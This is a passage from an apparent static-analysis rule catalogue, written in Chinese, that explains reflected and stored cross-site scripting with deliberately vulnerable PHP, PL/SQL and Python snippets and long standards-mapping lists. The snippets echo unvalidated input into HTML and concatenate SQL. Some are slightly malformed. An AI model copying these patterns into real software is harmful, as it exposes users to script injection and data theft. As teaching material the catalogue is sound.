[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:下面的 PHP 代码片段可从一个 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:下面的 PHP 代码片段可根据一个给定的雇员 ID 查询数据库,并显式出相应的雇员姓名。


<?php...
$con = mysql_connect($server,$user,$password);
...
$result = mysql_query("select * from emp where id="+eid);
$row = mysql_fetch_array($result)
echo 'Employee name: ', mysql_result($row,0,'name');
...
?>


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:以下代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:以下 Python 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:以下 Python 代码片段可根据一个已知的雇员 ID 查询数据库,并显示出相应的雇员姓名。


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
